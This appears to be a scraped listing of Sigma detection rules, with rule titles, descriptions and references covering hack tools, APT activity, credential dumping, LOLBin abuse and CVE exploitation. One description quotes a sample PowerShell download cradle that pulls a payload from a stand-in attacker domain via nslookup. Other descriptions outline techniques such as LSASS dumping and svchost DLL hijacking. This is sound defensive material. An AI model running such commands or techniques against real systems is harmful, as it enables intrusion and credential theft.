Suspicious PowerShell Mailbox Export to Share - PS Persistence Via Sticky Key Backdoor Sticky Key Like Backdoor Execution HackTool - F-Secure C3 Load by Rundll32 HackTool - DInjector PowerShell Cradle Execution HackTool - Dumpert Process Dumper Execution HackTool - Empire PowerShell UAC Bypass Hacktool Execution - Imphash HackTool - Inveigh Execution HackTool - PurpleSharp Execution Potential SMB Relay Attack Tool Execution HackTool - Rubeus Execution HackTool - SafetyKatz Execution HackTool - SecurityXploded Execution HackTool - SharpUp PrivEsc Tool Execution HackTool - Sliver C2 Implant Activity Pattern HackTool - SysmonEOP Execution HackTool - Windows Credential Editor (WCE) Execution Potential Credential Dumping Via LSASS Process Clone Suspicious Child Process Of Veeam Dabatase Suspicious PowerShell Mailbox Export to Share Renamed Whoami Execution Suspicious Double Extension File Execution DumpStack.log Defender Evasion TrustedPath UAC Bypass Pattern WMI Backdoor Exchange Transport Agent Pandemic Registry Key Windows Credential Editor Registry Registry Entries For Azorult Malware PrinterNightmare Mimikatz Driver Name Potential Credential Dumping Via LSASS SilentProcessExit Technique Sticky Key Like Backdoor Usage - Registry CVE-2010-5278 Exploitation Attempt ZxShell Malware Turla Group Lateral Movement Turla Group Commands May 2020 Exploit for CVE-2015-1641 Droppers Exploiting CVE-2017-11882 Exploit for CVE-2017-8759 CosmicDuke Service Installation NotPetya Ransomware Activity WannaCry Ransomware Activity Turla Group Named Pipes Turla PNG Dropper Service Fortinet CVE-2018-13379 Exploitation Oracle WebLogic Exploit Elise Backdoor Activity APT27 - Emissary Panda Activity APT29 2018 Phishing Campaign File Indicators APT29 2018 Phishing Campaign CommandLine Indicators OceanLotus Registry Activity OilRig APT Activity OilRig APT Registry Persistence OilRig APT Schedule Task Persistence - Security OilRig APT Schedule Task Persistence - System Pulse Secure Attack CVE-2019-11510 Citrix Netscaler Attack CVE-2019-19781 Exploiting CVE-2019-1388 Confluence Exploitation CVE-2019-3398 Potential Dridex Activity Potential Dtrack RAT Activity LockerGoga Ransomware Activity Potential QBot Activity Ursnif Malware C2 URL Pattern APT31 Judgement Panda Activity Potential Russian APT Credential Theft Activity Equation Group DLL_U Export Function Load CVE-2020-0688 Exchange Exploitation via Web Log CVE-2020-10148 SolarWinds Orion API Auth Bypass DNS RCE CVE-2020-1350 Potential Emotet Rundll32 Execution CVE-2020-5902 F5 BIG-IP Exploitation Attempt Citrix ADS Exploitation CVE-2020-8193 CVE-2020-8195 Potential Maze Ransomware Activity EvilNum APT Golden Chickens Deployment Via OCX Files FlowCloud Registry Markers Lazarus Group Activity Leviathan Registry Key Activity Solarwinds SUPERNOVA Webshell Access Greenbug Espionage Group Indicators UNC2452 PowerShell Pattern Winnti Malware HK University Campaign Winnti Pipemon Characteristics CVE-2021-31979 CVE-2021-33771 Exploits by Sourgum CVE-2021-31979 CVE-2021-33771 Exploits Arcadyan Router Exploitations Antivirus PrinterNightmare CVE-2021-34527 Exploit Detection CVE-2021-1675 Print Spooler Exploitation Filename Pattern CVE-2021-1675 Print Spooler Exploitation CVE-2021-1675 Print Spooler Exploitation IPC Access Oracle WebLogic Exploit CVE-2021-2109 Fortinet CVE-2021-22123 Exploitation ProxyLogon Reset Virtual Directories Based On IIS Log Exchange Exploitation CVE-2021-28480 CVE-2021-33766 Exchange ProxyToken Exploitation Serv-U Exploitation CVE-2021-35211 by DEV-0322 CVE-2021-40539 Zoho ManageEngine ADSelfService Plus Exploit InstallerFileTakeOver LPE CVE-2021-41379 File Create Event Potential CVE-2021-41379 Exploitation Attempt Grafana Path Traversal Exploitation CVE-2021-43798 Successful Exchange ProxyShell Attack Potential SystemNightmare Exploitation Attempt Potential Conti Ransomware Activity DarkSide Ransomware Pattern FoggyWeb Backdoor DLL Loading Goofy Guineapig Backdoor Service Creation Moriya Rootkit File Created Small Sieve Malware Potential C2 Communication HAFNIUM Exchange Exploitation Activity REvil Kaseya Incident Malware Patterns OWASSRF Exploitation Attempt Using Public POC - Proxy OWASSRF Exploitation Attempt Using Public POC - Webserver CVE-2023-23397 Exploitation Attempt Potential CVE-2023-36884 Exploitation Pattern COLDSTEEL RAT Cleanup Command Execution COLDSTEEL RAT Service Persistence Execution Griffon Malware Attack Pattern Qakbot Rundll32 Exports Execution Qakbot Rundll32 Fake DLL Extension Execution Rorschach Ransomware Execution Activity SNAKE Malware Kernel Driver File Indicator SNAKE Malware Service Persistence Malicious DLL Load By Compromised 3CXDesktopApp Diamond Sleet APT Scheduled Task Creation Mint Sandstorm - AsperaFaspex Suspicious Process Execution Mint Sandstorm - ManageEngine Suspicious Process Execution UNC4841 - Potential SEASPY Execution CVE-2024-1708 - ScreenConnect Path Traversal Exploitation - Security CVE-2024-1709 - ScreenConnect Authentication Bypass Exploitation Meterpreter or Cobalt Strike Getsystem Service Installation Malicious Service Installations
informational	30	Show Rules (30) Suspicious Load of Advapi31.dll Windows Management Instrumentation DLL Loaded Via Microsoft Word New Github Organization Member Added New Okta User Created System and Hardware Information Discovery System Shutdown/Reboot - Linux File and Directory Discovery - Linux File Deletion System Information Discovery System Network Discovery - Linux File and Directory Discovery - MacOS Local Groups Discovery - MacOs Network Sniffing - MacOs Macos Remote System Discovery System Network Discovery - macOS System Network Connections Discovery - MacOs System Shutdown/Reboot - MacOs Failed Code Integrity Checks User Logoff Event VSSAudit Security Event Source Registration Locked Workstation Windows Update Error Windows Defender Malware Detection History Deletion Windows Spooler Service Suspicious Binary Load New PowerShell Instance Created PowerShell Decompress Commands Suspicious High IntegrityLevel Conhost Legacy Option New Application in AppCompat Potential BOINC Software Execution (UC-Berkeley Signature) Suspicious Tasklist Discovery Command

Rule Details

Rule Title	Description	References
App Permissions Granted For Other APIs	Detects when app permissions (app roles) for other APIs are granted	https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions
Edit of .bash_profile and .bashrc	Detects change of user environment. Adversaries can insert code into these files to gain persistence each time a user logs in or opens a new shell.	MITRE Attack technique T1156; .bash_profile and .bashrc.
OMIGOD SCX RunAsProvider ExecuteShellCommand - Auditd	Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager. Microsoft Azure, and Microsoft Operations Management Suite.	https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure, https://github.com/Azure/Azure-Sentinel/pull/3059
User Added To Admin Group - MacOS	Detects attempts to create and/or add an account to the admin group, thus granting admin privileges.	https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078.003/T1078.003.md#atomic-test-3---create-local-account-with-admin-privileges-using-sysadminctl-utility---macos, https://ss64.com/osx/dscl.html, https://ss64.com/osx/sysadminctl.html
Brute Force	Detects many authentication failures from one source to one destination which is may indicate Brute Force activity	None
Domestic Kitten FurBall Malware Pattern	Detects specific malware patterns used by FurBall malware linked to Iranian Domestic Kitten APT group	https://research.checkpoint.com/2021/domestic-kitten-an-inside-look-at-the-iranian-surveillance-operations/
CobaltStrike Malleable Amazon Browsing Traffic Profile	Detects Malleable Amazon Profile	https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/amazon.profile, https://www.hybrid-analysis.com/sample/ee5eca8648e45e2fea9dac0d920ef1a1792d8690c41ee7f20343de1927cc88b9?environmentId=100
CobaltStrike Malformed UAs in Malleable Profiles	Detects different malformed user agents used in Malleable Profiles used with Cobalt Strike	https://github.com/yeyintminthuhtut/Malleable-C2-Profiles-Collection/
CobaltStrike Malleable (OCSP) Profile	Detects Malleable (OCSP) Profile with Typo (OSCP) in URL	https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/ocsp.profile
CobaltStrike Malleable OneDrive Browsing Traffic Profile	Detects Malleable OneDrive Profile	https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/onedrive_getonly.profile
iOS Implant URL Pattern	Detects URL pattern used by iOS Implant	https://googleprojectzero.blogspot.com/2019/08/implant-teardown.html, https://twitter.com/craiu/status/1167358457344925696
Search-ms and WebDAV Suspicious Indicators in URL	Detects URL pattern used by search(-ms)/WebDAV initial access campaigns.	https://www.trellix.com/en-us/about/newsroom/stories/research/beyond-file-search-a-novel-method.html, https://micahbabinski.medium.com/search-ms-webdav-and-chill-99c5b23ac462
Suspicious Remote Thread Target	Offensive tradecraft is switching away from using APIs like "CreateRemoteThread", however, this is still largely observed in the wild. This rule aims to detect suspicious processes (those we would not expect to behave in this way like winword.exe or outlook.exe) creating remote threads on other processes. It is a generalistic rule, but it should have a low FP ratio due to the selected range of processes.	https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/
Credential Dumping Tools Service Execution	Detects well-known credential dumping tools execution via service execution events	https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
Usage Of Malicious POORTRY Signed Driver	Detects the load of the signed poortry driver used by UNC3944 as reported by Mandiant and Sentinel One.	https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware
PowerShell Scripts Run by a Services	Detects powershell script installed as a Service	https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse
Vulnerable AVAST Anti Rootkit Driver Load	Detects the load of a signed and vulnerable AVAST Anti Rootkit driver often used by threat actors or malware for stopping and disabling AV and EDR products	https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/
Vulnerable Dell BIOS Update Driver Load	Detects the load of the vulnerable Dell BIOS update driver as reported in CVE-2021-21551	https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/
Vulnerable Driver Load By Name	Detects the load of known vulnerable drivers via their names only.	https://loldrivers.io/
Vulnerable GIGABYTE Driver Load	Detects the load of a signed and vulnerable GIGABYTE driver often used by threat actors or malware for privilege escalation	https://medium.com/@fsx30/weaponizing-vulnerable-driver-for-privilege-escalation-gigabyte-edition-e73ee523598b, https://twitter.com/malmoeb/status/1551449425842786306, https://github.com/fengjixuchui/gdrv-loader, https://www.virustotal.com/gui/file/31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427/details, https://www.virustotal.com/gui/file/cfc5c585dd4e592dd1a08887ded28b92d9a5820587b6f4f8fa4f56d60289259b/details
Vulnerable HW Driver Load	Detects the load of a legitimate signed driver named HW.sys by often used by threat actors or malware for privilege escalation	https://decoded.avast.io/janvojtesek/the-return-of-candiru-zero-days-in-the-middle-east/, https://www.virustotal.com/gui/file/6a4875ae86131a594019dec4abd46ac6ba47e57a88287b814d07d929858fe3e5/details
Vulnerable Lenovo Driver Load	Detects the load of the vulnerable Lenovo driver as reported in CVE-2022-3699 which can be used to escalate privileges	https://support.lenovo.com/de/en/product_security/ps500533-lenovo-diagnostics-vulnerabilities, https://github.com/alfarom256/CVE-2022-3699/
Suspicious File Event With Teams Objects	Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.	https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/, https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens
Suspicious Unattend.xml File Access	Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md
CrackMapExec File Creation Patterns	Detects suspicious file creation patterns found in logs when CrackMapExec is used	https://mpgn.gitbook.io/crackmapexec/smb-protocol/obtaining-credentials/dump-lsass
LSASS Memory Dump File Creation	LSASS memory dump creation using operating systems utilities. Procdump will use process name in output file if no name is specified	https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
CreateMiniDump Hacktool	Detects the use of CreateMiniDump hack tool used to dump the LSASS process memory for credential extraction on the attacker's machine	https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
Mimikatz MemSSP Default Log File Creation	Detects Mimikatz MemSSP default log file creation	https://pentestlab.blog/2019/10/21/persistence-security-support-provider/
Alternate PowerShell Hosts - Image	Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe	https://threathunterplaybook.com/hunts/windows/190610-PwshAlternateHosts/notebook.html
Suspicious CLR Logs Creation	Detects suspicious .NET assembly executions. Could detect using Cobalt Strike's command execute-assembly.	https://web.archive.org/web/20230329154538/https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html, https://bohops.com/2021/03/16/investigating-net-clr-usage-log-tampering-techniques-for-edr-evasion/, https://github.com/olafhartong/sysmon-modular/blob/5e5f6d90819a7f35eec0aba08021d0d201bb9055/11_file_create/include_dotnet.xml
Suspicious Load of Advapi31.dll	Detects the load of advapi31.dll by a process running in an uncommon folder	https://github.com/hlldz/Phant0m
SCM DLL Sideload	Detects DLL sideloading of DLLs that are loaded by the SCM for some services (IKE, IKEEXT, SessionEnv) which do not exists on a typical modern system	https://decoded.avast.io/martinchlumecky/png-steganography/, https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992
Svchost DLL Search Order Hijack	Detects DLL sideloading of DLLs that are loaded by the SCM for some services (IKE, IKEEXT, SessionEnv) which do not exists on a typical modern system IKEEXT and SessionEnv service, as they call LoadLibrary on files that do not exist within C:\Windows\System32\ by default. An attacker can place their malicious logic within the PROCESS_ATTACH block of their library and restart the aforementioned services "svchost.exe -k netsvcs" to gain code execution on a remote machine.	https://decoded.avast.io/martinchlumecky/png-steganography/, https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992
Possible Process Hollowing Image Loading	Detects Loading of samlib.dll, WinSCard.dll from untypical process e.g. through process hollowing by Mimikatz	https://web.archive.org/web/20220815065318/https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for.html
Windows Management Instrumentation DLL Loaded Via Microsoft Word	Detects DLL's Loaded Via Word Containing VBA Macros Executing WMI Commands	https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16, https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/, https://media.cert.europa.eu/static/SecurityAdvisories/2019/CERT-EU-SA2019-021.pdf
Microsoft Binary Github Communication	Detects an executable in the Windows folder accessing github.com	https://twitter.com/M_haggis/status/900741347035889665, https://twitter.com/M_haggis/status/1032799638213066752, https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/exfil/Invoke-ExfilDataToGitHub.ps1
Suspicious Non-Browser Network Communication With Reddit API	Detects an a non-browser process interacting with the Reddit API which could indicate use of a covert C2 such as RedditC2	https://github.com/kleiton0x00/RedditC2, https://twitter.com/kleiton0x7e/status/1600567316810551296, https://www.linkedin.com/posts/kleiton-kurti_github-kleiton0x00redditc2-abusing-reddit-activity-7009939662462984192-5DbI/?originalSubdomain=al
Suspicious Epmap Connection	Detects suspicious "epmap" connection to a remote computer via remote procedure call (RPC)	https://github.com/RiccardoAncarani/TaskShell/
PsExec Pipes Artifacts	Detecting use PsExec via Pipe Creation/Access to pipes	https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view
Netcat The Powershell Version - PowerShell Module	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network	https://nmap.org/ncat/, https://github.com/besimorhino/powercat, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md
Accessing Encrypted Credentials from Google Chrome Login Database	Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.003/T1555.003.md
AzureHound PowerShell Commands	Detects the execution of AzureHound in PowerShell, a tool to gather data from Azure for BloodHound	https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1, https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html
Execution via CL_Invocation.ps1 - Powershell	Detects Execution via SyncInvoke in CL_Invocation.ps1 module	https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/, https://twitter.com/bohops/status/948061991012327424
Execution via CL_Mutexverifiers.ps1	Detects Execution via runAfterCancelProcess in CL_Mutexverifiers.ps1 module	https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/, https://twitter.com/pabraeken/status/995111125447577600
Powershell File and Directory Discovery	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md
Dnscat Execution	Dnscat exfiltration tool execution	None
PrintNightmare Powershell Exploitation	Detects Commandlet name for PrintNightmare exploitation.	https://github.com/calebstewart/CVE-2021-1675
Suspicious Get-WmiObject	The infrastructure for management data and operations that enables local and remote management of Windows personal computers and servers	https://attack.mitre.org/datasources/DS0005/, https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1&viewFallbackFrom=powershell-7
Suspicious PowerShell Download	Detects suspicious PowerShell download command	None
Suspicious PowerShell Invocations - Generic	Detects suspicious PowerShell invocation command parameters	None
Suspicious PowerShell Invocations - Specific	Detects suspicious PowerShell invocation command parameters	None
SyncAppvPublishingServer Execution to Bypass Powershell Restriction	Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.	https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/
SyncAppvPublishingServer Execution to Bypass Powershell Restriction	Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.	https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/
Suspicious In-Memory Module Execution	Detects the access to processes by other suspicious processes which have reflectively loaded libraries in their memory space. An example is SilentTrinity C2 behaviour. Generally speaking, when Sysmon EventID 10 cannot reference a stack call to a dll loaded from disk (the standard way), it will display "UNKNOWN" as the module name. Usually this means the stack call points to a module that was reflectively loaded in memory. Adding to this, it is not common to see such few calls in the stack (ntdll.dll --> kernelbase.dll --> unknown) which essentially means that most of the functions required by the process to execute certain routines are already present in memory, not requiring any calls to external libraries. The latter should also be considered suspicious.	https://azure.microsoft.com/en-ca/blog/detecting-in-memory-attacks-with-sysmon-and-azure-security-center/
Credential Dumping by LaZagne	Detects LSASS process access by LaZagne for credential dumping.	https://twitter.com/bh4b3sh/status/1303674603819081728
Credential Dumping Tools Accessing LSASS Memory	Detects processes requesting access to LSASS memory via suspicious access masks. This is typical for credentials dumping tools	https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow, https://web.archive.org/web/20230208123920/https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html, https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment, https://web.archive.org/web/20230420013146/http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf
Credential Dumping by Pypykatz	Detects LSASS process access by pypykatz for credential dumping.	https://github.com/skelsec/pypykatz
Potential NT API Stub Patching	Detects potential NT API stub patching as seen used by the project PatchingAPI	https://web.archive.org/web/20230106211702/https://github.com/D1rkMtr/UnhookingPatch, https://twitter.com/D1rkMtr/status/1611471891193298944?s=20
APT29	This method detects a suspicious PowerShell command line combination as used by APT29 in a campaign against U.S. think tanks.	https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/, https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html
CrackMapExecWin	Detects CrackMapExecWin Activity as Described by NCSC	https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control, https://attack.mitre.org/software/S0488/
GALLIUM Artefacts	Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019.	https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/, https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800669(v=ws.11)
Suspicious Certutil Command Usage	Detects a suspicious Microsoft certutil execution with sub commands like 'decode' sub command, which is sometimes used to decode malicious code	https://twitter.com/JohnLaTwC/status/835149808817991680, https://blogs.technet.microsoft.com/pki/2006/11/30/basic-crl-checking-with-certutil/, https://www.trustedsec.com/2017/07/new-tool-release-nps_payload/, https://twitter.com/egre55/status/1087685529016193025, https://lolbas-project.github.io/lolbas/Binaries/Certutil/
Hurricane Panda Activity	Detects Hurricane Panda Activity	https://www.crowdstrike.com/blog/crowdstrike-discovers-use-64-bit-zero-day-privilege-escalation-exploit-cve-2014-4113-hurricane-panda/
Lazarus Activity Apr21	Detects different process creation events as described in Malwarebytes's threat report on Lazarus group activity	https://blog.malwarebytes.com/malwarebytes-news/2021/04/lazarus-apt-conceals-malicious-code-within-bmp-file-to-drop-its-rat/
Lazarus Loaders	Detects different loaders as described in various threat reports on Lazarus group activity	https://www.hvs-consulting.de/lazarus-report/, https://securelist.com/lazarus-covets-covid-19-related-intelligence/99906/
DNS Tunnel Technique from MuddyWater	Detecting DNS tunnel activity for Muddywater actor	https://www.virustotal.com/gui/file/5ad401c3a568bd87dd13f8a9ddc4e450ece61cd9ce4d1b23f68ce0b1f3c190b7/, https://www.vmray.com/analyses/5ad401c3a568/report/overview.html
TA505 Dropper Load Pattern	Detects mshta loaded by wmiprvse as parent as used by TA505 malicious documents	https://twitter.com/ForensicITGuy/status/1334734244120309760
Read and Execute a File Via Cmd.exe	Detect use of "/R <" to read and execute a file via cmd.exe	https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1059.003/T1059.003.md
Cmd Stream Redirection	Detects the redirection of an alternate data stream (ADS) of / within a Windows command line session	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md#atomic-test-3---create-ads-command-prompt
Credential Acquisition via Registry Hive Dumping	Detects Credential Acquisition via Registry Hive Dumping	https://www.elastic.co/guide/en/security/current/credential-acquisition-via-registry-hive-dumping.html
Visual Basic Script Execution	Adversaries may abuse Visual Basic (VB) for execution	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.005/T1059.005.md
Execution via MSSQL Xp_cmdshell Stored Procedure	Detects execution via MSSQL xp_cmdshell stored procedure. Malicious users may attempt to elevate their privileges by using xp_cmdshell, which is disabled by default.	https://www.elastic.co/guide/en/security/current/execution-via-mssql-xp_cmdshell-stored-procedure.html
Indirect Command Exectuion via Forfiles	Detects execition of commands and binaries from the context of "forfiles.exe". This can be used as a LOLBIN in order to bypass application whitelisting.	https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-73d61931b2c77fde294189ce5d62323b416296a7c23ea98a608f425566538d1a, https://lolbas-project.github.io/lolbas/Binaries/Forfiles/
Indirect Command Execution	Detect indirect command execution via Program Compatibility Assistant (pcalua.exe or forfiles.exe).	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1202/T1202.md, https://eqllib.readthedocs.io/en/latest/analytics/884a7ccd-7305-4130-82d0-d4f90bc118b6.html
Invoke-Obfuscation RUNDLL LAUNCHER	Detects Obfuscated Powershell via RUNDLL LAUNCHER	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation Via Use Rundll32	Detects Obfuscated Powershell via use Rundll32 in Scripts	https://github.com/SigmaHQ/sigma/issues/1009
New Lolbin Process by Office Applications	This rule will monitor any office apps that spins up a new LOLBin process. This activity is pretty suspicious and should be investigated.	https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/, https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml, https://github.com/splunk/security_content/blob/develop/detections/endpoint/office_spawning_control.yml, https://twitter.com/andythevariable/status/1576953781581144064?s=20&t=QiJILvK4ZiBdR8RJe24u-A, https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set
Monitoring Wuauclt.exe For Lolbas Execution Of DLL	Adversaries can abuse wuauclt.exe (Windows Update client) to run code execution by specifying an arbitrary DLL.	https://dtm.uk/wuauclt/
Abusing Findstr for Defense Evasion	Attackers can use findstr to hide their artifacts or search specific strings and evade defense mechanism	https://lolbas-project.github.io/lolbas/Binaries/Findstr/, https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/, https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
Suspicious File Download Using Office Application	Detects the usage of one of three Microsoft office applications (Word, Excel, PowerPoint) to download arbitrary files	https://lolbas-project.github.io/lolbas/OtherMSBinaries/Powerpnt/, https://lolbas-project.github.io/lolbas/OtherMSBinaries/Excel/, https://lolbas-project.github.io/lolbas/OtherMSBinaries/Winword/, https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191
Execute MSDT.EXE Using Diagcab File	Detects diagcab leveraging the "ms-msdt" handler or the "msdt.exe" binary to execute arbitrary commands as seen in CVE-2022-30190	https://github.com/GossiTheDog/ThreatHunting/blob/e85884abbf05d5b41efc809ea6532b10b45bd05c/AdvancedHuntingQueries/DogWalk-DiagCab, https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-9015912909545e72ed42cbac4d1e96295e8964579c406d23fd9c47a8091576a0, https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd
Ryuk Ransomware Command Line Activity	Detects Ryuk Ransomware command lines	https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/
MavInject Process Injection	Detects process injection using the signed Windows tool Mavinject32.exe	https://twitter.com/gN3mes1s/status/941315826107510784, https://reaqta.com/2017/12/mavinject-microsoft-injector/, https://twitter.com/Hexacorn/status/776122138063409152
Process Memory Dumped Via RdrLeakDiag.EXE	Detects uses of the rdrleakdiag.exe LOLOBIN utility to dump process memory	https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/
Trickbot Malware Reconnaissance Activity	Detects potential reconnaissance activity used by Trickbot malware. Trickbot enumerates domain/network topology and executes certain commands automatically every few minutes.	https://www.sneakymonkey.net/2019/05/22/trickbot-analysis/, https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/
New Service Creation	Detects creation of a new service.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md
Nslookup PwSh Download Cradle	This rule tries to detect powershell download cradles, e.g. powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]	https://twitter.com/alh4zr3d/status/1566489367232651264
Application Whitelisting Bypass via DLL Loaded by odbcconf.exe	Detects defence evasion attempt via odbcconf.exe execution to load DLL	https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/, https://twitter.com/Hexacorn/status/1187143326673330176, https://redcanary.com/blog/raspberry-robin/, https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-94a1964b682707e4e3f77dd61a3bfface5401d08d8cf81145f388e09614aceca
Excel Proxy Executing Regsvr32 With Payload	Excel called wmic to finally proxy execute regsvr32 with the payload. An attacker wanted to break suspicious parent-child chain (Office app spawns LOLBin). But we have command-line in the event which allow us to "restore" this suspicious parent-child chain and detect it. Monitor process creation with "wmic process call create" and LOLBins in command-line with parent Office application processes.	https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/, https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml
